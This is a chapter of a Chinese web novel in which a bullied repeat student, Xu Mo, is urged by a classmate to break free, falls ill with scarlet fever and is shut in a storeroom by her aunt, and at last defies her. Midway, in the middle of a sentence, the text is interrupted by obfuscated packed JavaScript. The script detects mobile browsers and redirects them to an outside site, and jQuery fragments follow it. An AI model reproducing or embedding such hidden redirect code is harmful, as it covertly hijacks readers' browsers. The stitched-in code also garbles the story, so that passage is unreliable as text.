32. 像阵风

作品:《雷暴蝴蝶

    谢盛祈握着冰棍的手微微一顿。


    融化了的奶油顺着木棒滴落在鞋尖,他却浑然未觉。街角处,许默站在那里,校服领口歪斜,通红的眼眶像是刚被暴雨冲刷过。


    谢盛祈没想到会在街道转角看见许默。


    更没想到的是,对方整张脸上写满狼藉。


    自从那场元旦联欢会后,他总是不自觉多关注对方几分。


    他在好奇。


    他想知道对方是出于什么缘故才能在那种本该欢快的场合说出“Weltschmerz”这个极具分量感的词汇。


    是否和他一样。


    正遭遇着不公。


    而对方遭遇的,又会是哪种不公。


    街头的人潮在他们之间穿梭。


    他们就这般站在原地,不为所动。


    提着菜篮的主妇,追逐打闹的孩童,匆匆赶路的上班族。世界如此喧嚣,他们却像被按了暂停键,隔着五米的距离。


    一个攥着化了的冰棍,一个擦着未干的泪痕。


    谢盛祈看向正用袖子擦拭哭花脸蛋的少女。


    直至融化冰棍滑下的冰水浸在手心,他才慢步走到对方跟前。


    “要吃吗?”谢盛祈将融化一半的冰棍伸过去,“我还没有动。”


    许默的情绪已经重新调整好,虽鼻尖仍是红彤彤的,看得出刚哭过的痕迹。


    她摇了摇头,深吸一口气,无视着眼前的人,重新抬起脚步朝小卖部走。


    谢盛祈也不生气。


    跟在对方身边,侧过头不断发问。


    “昨天布置的那道大题你做了吗?”


    “马上就高考了你是不是很紧张?”


    “刚才……你好像哭了?”


    也根本不管许默有没有回答,一连串无关痛痒的问题抛出来。


    直到她猛地停住脚步,眼刀扫过来,他才做了个拉上嘴巴的动作,却仍保持着半步的距离尾随其后。


    许默也没去理会对方。


    自顾走回小卖部所在的街道,清点了下货物,坐到了收银台的位置上。


    余光瞥见那人倚在门口,阳光把他的影子拉得老长,正好横在她的记账本上。


    “你到底要干嘛?”


    见对方仍然是没有要走的迹象,许默“啪”地合上账本。


    谢盛祈撇了撇嘴,歪头指了指后排货架:“买东西不行吗?来一听啤酒。”


    许默转身看了眼,又瞥了眼谢盛祈校服胸口的学号后说:“不卖。”


    谢盛祈将手肘放在玻璃柜台上,撑着脑袋说:“生意不做了?”


    “不卖就是不卖。”许默没再看他。


    “算了,”谢盛祈伸了个懒腰说:“那拿瓶可乐,这总可以吧。”


    许默瞪了他一眼,转身取了瓶可乐递给他。


    “3块。”


    谢盛祈乐呵一下,拧开瓶盖喝了一口后,翻开裤兜准备给对方递钱,摸出一张一块、隔了会儿又掏出一张五角。


    和对方尴尬对视一眼,他飞快在裤兜里乱掏。


    可裤兜俩口袋翻了又翻,硬是比他的脸还干净。


    糟了。


    先前买冰棍把带出来的现金都花掉了,完全没注意。


    “……”


    谢盛祈咽了一口唾液说:“我帮你看会儿店能抵1块5吗?”


    许默无语地看向眼前这个人。


    还是第一次见脸皮厚成这样的。


    谢盛祈见对方不说话,就当是默认了。


    取了个小板凳就坐在收银台旁边,正气十足地朝路过的行人喊道:“唉,天气怎么这么热啊!还是喝瓶可乐吧,果然夏天就是和可乐更配嘛。”


    活生生把自己演成了托。


    许默也实在没心情去管这些。


    将头趴在玻璃柜上,闭上眼睛先前的一幕幕就在脑海重演。


    谢盛祈又呼喊了几声,却还是没拉进客源。


    就在许默以为对方要消停会儿的时候,耳边却传来一句尖锐到刺耳的话。


    “许默同学,你怎么……活成了现在这个样子。”


    许默错愕。


    双眼猛然失去焦距。


    「我怎么活成现在这样……


    对啊,我怎么会活得这般不堪。」


    对方凭什么这样说……


    她本应该生气。


    可却提不起一丝力气。


    谢盛祈太想知道关于对方的一切,此时的许默就像是他正在苦心钻研的一场拼图游戏。


    他的指尖无意识地摩挲着可乐罐上的水珠,目光却紧紧锁住柜台后的少女。


    他迫切地想要探索对方潜藏的秘密,挖掘水面下的冰山。


    迫切地想要剖开对方一层又一层伪装,亲眼目睹对方最真实的样子。


    就像剥开一颗裹着厚厚糖衣的药丸,明知内里苦涩,却偏要尝个明白。


    但又不能让自己目的表现得太明显,谢盛祈耐着性子,思索着怎么引出对方开口。


    联想到自己离开家的那天,父亲眼中的失望,他开口尝试引诱对方说话:“你爸……”他故意让声音轻飘飘的,像随口一提,“也不管你了吗?”


    许默突然僵住。


    她缓缓直起身,睫毛在灯光下投出一片阴影:“你不要胡说,”每个字都像从齿间挤出来的,“我爸是好人,他是被追授了一等功的英雄。”


    停顿半秒,她才落寞地说:“他只是……比寻常人走得早了些。”


    谢盛祈就算再神经大条也听出对方的言下之意。


    “那你更该活出个样子,不是吗?”话一出口他就后悔了,这语气太像那些站着说话不腰疼的长辈。


    果然,许默嘴角扯出个讥讽的弧度。


    说得简单。


    能说出这种话来,许默权当对方是不知人间疾苦的富家公子。


    “那你知道吗?”许默双眼有些失去焦距:“今年是我第二次参加高考了。”


    谢盛祈知道,他听邻桌的同学说起过。


    对方是复读生。


    “但这不会是最后一次。”许默缓缓说完。


    谢盛祈脸上露出几分诧异:“为什么?”


    “钱。”


    许默不喜欢谈论这个话题,但钱的确是绕不过去的轴心。


    “舅母不会让我离开的,她需要我通过考试来赚钱。”


    谢盛祈继续问:“多少钱?”


    许默摇头。


    她也没真正看到过钱。


    “几十万吧。”


    “几十万?”


    谢盛祈皱着眉头,脸上是一闪而过的古怪。


    他知道不该对别人的价值观指手画脚。


    也不该用自己的物质标准来衡量别人的生活。


    几十万对他来说,不过是在父亲没停掉他的信用卡前,一次任性的挥霍。


    他也知道,对工薪家庭来说,确实是一笔不小的开支。


    但就为了区区几十万,“囚禁”一个充满未知可能性的人生。


    这未免也太匪夷所思,冲撞着谢盛祈仅剩不多的“三观”。


    “你舅母……”谢盛祈抬起眼皮盯着对方问:“是用铁链把你锁在那家的吗?”


    许默当然知道对方指的是什么:“我要是走了,他们会活不下去的。”


    谢盛祈语气上扬说:“哦?你来到这个家之前,他们就都不活了?”


    “你不会明白的。”


    许默低头,碎发垂落遮住眼睛。


    “我确实不明白。”


    谢盛祈挑了挑眉毛,但他知道,对方现在需要拉上一把。


    他一把拉住对方搭在玻璃柜上的手。


    “你干嘛?放开我!”许默惊呼一声。


    “跟我来。”


    “不要,你放开我。”许默挣扎时碰倒了记账本,纸页哗啦啦散落一地。


    谢盛祈非但没松手,反而握得更紧:“你不是不知道‘不’这个字该怎么说的吗,现在倒知道反抗了?”


    许默突然僵住。


    玻璃门上的风铃叮当作响,谢盛祈已经拽着她跑到了阳光下。许默回头看了眼满地狼藉的账本,最终松开了抓着门框的手指,任由对方拉着她跑出小卖部。


    也对。


    她不是一直都不拒绝的吗?


    为何此时又要反抗。


    谢盛祈拉着许默一路奔,跑过街巷、跑过河边,直至廊桥尽头。


    青石板上的脚步声惊起了栖息的白鹭。


    他忽然停在一处斑驳的石墩前,不由分说地将她推了上去。


    穿堂风顺着河道拍在两人的脸上。


    掀飞许默披在肩上的头发和衣襟。


    “你——”许默的质问被一股凌风截断。


    她低头看了看。


    潮水在脚下翻涌,带着河底淤泥的腥气。


    许默不自觉地后退,鞋跟已经悬空,却被谢盛祈稳稳扶住肩膀。她伸手拨开黏在唇上的发丝,发现自己的指尖在微微发抖。


    “你这是做什么?”


    “嘘。”


    谢盛祈给对方比了个禁言的姿势,突然张开双臂,校服的白衬衫在风中鼓成帆:“就是现在,许默同学。你把自己想象成一道风,一道自由的风。”


    “疯子。”


    许默暗骂一声,却鬼使神差地跟着对方张开紧锁的肩膀。


    她闭上眼睛。


    感受着风拂过身体,尝试着如对方融为一体。


    起初她浑身僵硬,耳边只有自己急促的心跳。渐渐地,风开始托起她的衣袖,穿过她的指缝,像要带走这些年积压的重量。


    从最开始的抵触,到逐渐安宁下来。


    许默这才发现。


    原来自己也可以这般轻,轻盈得像是一阵风吹来,就能将她给吹走。


    吹走后,她可以飘在半空。


    像个蒲公英般漫无目的地飞扬,直到落在另一处完全未知的地方重新扎根生长。


    “记住这个感觉,许默同学。”谢盛祈的声音混着水声传来,“当你再次陷入泥泞抬不起脚步时,就把自己想象成一阵风。”


    “不想做的事情不做,不想笑的笑话就不笑。人活着,不是为了成为别人手中的傀儡,是任人摆布、还是不拘形迹,全在于自己的选择。”


    “我现在可以是一道自由的风,这就是我的选择。”


    许默睁开眼,发现自己的倒影正在浊浪中破碎又重组。


    “像阵风……是吗?”


    许默伸喃喃重复,伸手抚摸着脖颈,解开那一直如同一双大手般钳住她喉咙的纽扣,任由喧嚣不羁的风吹进她的衣领。


    她突然抬脚将一块石子踢进河里,水花溅起的瞬间,那沉睡的野性好似被唤起。


    身旁的转校生同学似乎说得没错。


    被驯服太久,让她都几乎忘了还有站起来的能力。


    -


    傍晚。


    许默关掉小卖部后,来到杨小童所在的病房。


    暮色透过百叶窗在病床上投下条纹状的光影。


    舅母像是出去买日用品了,床位上只有杨小童一人。


    “姐……”


    杨小童瞧见许默的出现,虚弱地唤了一声,像只受了伤的小猫。


    他额前的碎发被汗水黏住,但眼睛亮得出奇。


    许默伸手探了探他的额头,高热确实退了。


    “好些了吗?”


    她低头询问对方。


    她刚要收回手,却被对方冰凉的小手抓住,杨小童昂了昂小脑袋,开心道:“妈妈刚才给我吃冰激凌了。”


    许默揉了揉对方小脑袋。


    “就想着吃。”


    “嘿嘿,”杨小童悄咪咪地说:“姐,悄悄告诉你,其实我是故意生病的。”


    “啊?”许默整理被角的手一顿,有些没听懂。


    杨小童得意地眨眨眼:“我听说隔壁的虎子身上长疹子,就偷偷去找了他玩。”


    “你……”许默顿了顿,敲了下他的小脑瓜。


    杨小童抱着脑袋:“哎哟,姐别敲了,再敲就更笨了。”


    “干嘛要故意生病?”许默追问。


    杨小童嘿嘿一笑,语气软糯糯地说:“我不想你每天在我身上浪费时间,给我补习。你喜欢看书,而我不喜欢看书,只要我生病了,妈妈就不会强迫你陪着我学习了,你就有更多的时间做自己喜欢的事情了。”


    “……”


    许默愣了愣


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15953787|176048||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,顿了好一会儿才又骂了句:“……超级大笨蛋。”


    正说着话,舅母从病房外进来了。


    瞧见许默,跟下午的事没发生似的说:“小白眼狼来了?正好,你和学校请个假,今晚就在医院陪着小童,我得回去洗个澡,身上都痒死了。”


    “舅母……”


    许默叫住对方。


    正准备收拾东西走人的舅母转头瞥了她一眼:“还有什么事?”


    “姐。”


    病床上的杨小童伸出小手拉了拉她,用憧憬的眼神看着她。


    许默垂头看了眼杨小童,喉咙里的话还没来得及说出来,站在门口的舅母已经走了。


    “……”许默垂下肩膀。


    “姐,”杨小童见母亲终于离开,兴奋地和许默说:“我们来玩扮演医生和病人的游戏吧。”


    许默无奈摸了摸对方的头。


    当晚,许默做了一个梦。


    梦到自己当真变成一栗蒲公英,飘荡在山野间,那是她从未有过的轻松和自如。


    可临近早上,她却迟迟睁不开眼睛。


    眼皮就像被人灌了铅,无论怎么抬都无动于衷。


    还是舅母的电话将她吵醒。


    艰难地从被褥中伸出手,许默昏昏沉沉地接通电话。


    “喂。”


    一听见她带着睡意的声音,舅母立即来气:“怎么还没起床?小童呢?他好点了没?”


    许默用沉默回答对方,喉咙干哑也说不出话。


    “别磨磨蹭蹭了,”舅母继续说,“我做了早饭,小童最喜欢的蒸蛋,你赶紧回来拿。”


    舅母见她迟迟不回话,提高声线吼道:“听见没,小白眼狼?赶紧的,别装死。”


    挂断电话,许默挣扎着爬起来。


    她胡乱薅了件外套披在身上,踉踉跄跄地出了病房。


    她是怎样走出医院的,就连自己都记不清。


    脑子像被人重重打了一拳,思维混沌、浑身无力。


    而等她回到居民楼时,伴随着舅母“啊——”的一声尖叫,才将她的魂给唤了回来。


    舅母瞧见浑身通红,从颈部不断往上蔓延红疹的许默,一个劲地大喊。


    “你别过来!”


    许默不明白对方为什么要这般反应。


    她低头看了看自己,还没等她看个明白就两眼一黑,昏了过去。


    意识混沌的许默迷迷糊糊能听见周围声音。


    除了舅母的咒骂外,她似乎还听见邻居街坊议论的话语。


    嗯?


    她感染了猩红热?


    医生不是说只有15岁以下的儿童才会感染吗……


    哦。


    或许是因为长期的营养不良免疫力低下导致的。


    原来她也是会生病的。


    许默在想。


    对了,生病是不是就有好吃的冰激凌吃?


    是不是就能有人守在自己床边百依百顺?


    这样看,或许也不算是件坏事。


    她长时间紧绷的精神,也确实该休整一下。


    睡了好长一觉。


    等许默睁开眼时,发现自己所处的环境有些昏暗。


    她艰难坐起身,浑身发汗地喘了好几口气,才打量起周边的景象。


    借着唯一一扇窗透进来的光线,许默才勉强看清周遭。


    身下铺的是货物的硬纸壳和一床旧被褥。


    旁边堆的是喝完的饮料瓶和杂物。


    她反应过来。


    这是在小卖部的库房。


    心头冒出一股没由来的恐慌。


    门外传来响声。


    她像是抓住救命稻草般看过去。


    好在拉开一道门缝的是舅母。


    “舅母,我这是……”


    她的话还没问完,就被舅母打断:“没用的东西,连人都照顾不好,还自己染回晦气的东西回来!”


    或许是喉咙的肿胀。


    许默哑言。


    舅母借着门缝推进来一碗粥和两颗药:“晦气的东西,赶紧把药吃了。”


    随着仓库门重新被关上,发出一声闷响。


    除了预料之中的责骂外,没有任何多余的话。


    许默瘫坐在纸壳上,迟迟没有动作。


    一碗白粥和两颗快过期的感冒药?


    许默笑了。


    她大汗淋漓、浑身高热,但却笑出了声。


    被自己的处境。


    被自己的愚昧。


    被自己所遭受的一切而感到好笑。


    原来……这个家,就从未把她当成过亲人。


    -


    许默毕竟不是儿童。


    症状来得快,也去得快。


    只花了短短两天时间,她就硬生生地扛了过来。


    重新拉开小卖部的仓库门时,她回头朝那不堪的角落看了眼。


    仿若自己曾在那里死过一回。


    她没有回居民楼,而是直接去往医院。


    拉开杨小童病房的门时,舅母在病房和杨小童玩闹。


    “姐?”杨小童瞧见许默,兴奋唤了一声。


    舅母听闻转过头,诧异地问:“好了?”


    许默咬了咬卡白的嘴唇,简短说:“好多了。”


    舅母欣喜一声说:“那太好了,年轻人就是好得快啊。那你今晚来陪下床吧,小童早就闹着想见你了。”


    “不。”


    许默口中平静地发出一个字。


    舅母举着盆子的手顿在半空,差点以为自己听岔了又问了遍:“你刚说啥?小白眼狼你不会又怕了吧?你感染过有免疫了不会再有事的。”


    许默抬起头,直视着对方眼睛说:“我说我不!”


    舅母的情绪刚要变化。


    许默再次开口堵住对方说:“我不会因为你这个当妈的缺位而请假照顾小童,这是你的义务不是我的。我要回学校,还有三个月就高考了,我不会放弃任何学习的一天。”


    “还有!”


    许默跟安了发条似的继续说:“今年我不会再选择复读了,我会考出安省,到最适合我的学校去读大学。我不是在征求你的意见,我已年满十八周岁,你已经不再是我的监护人。”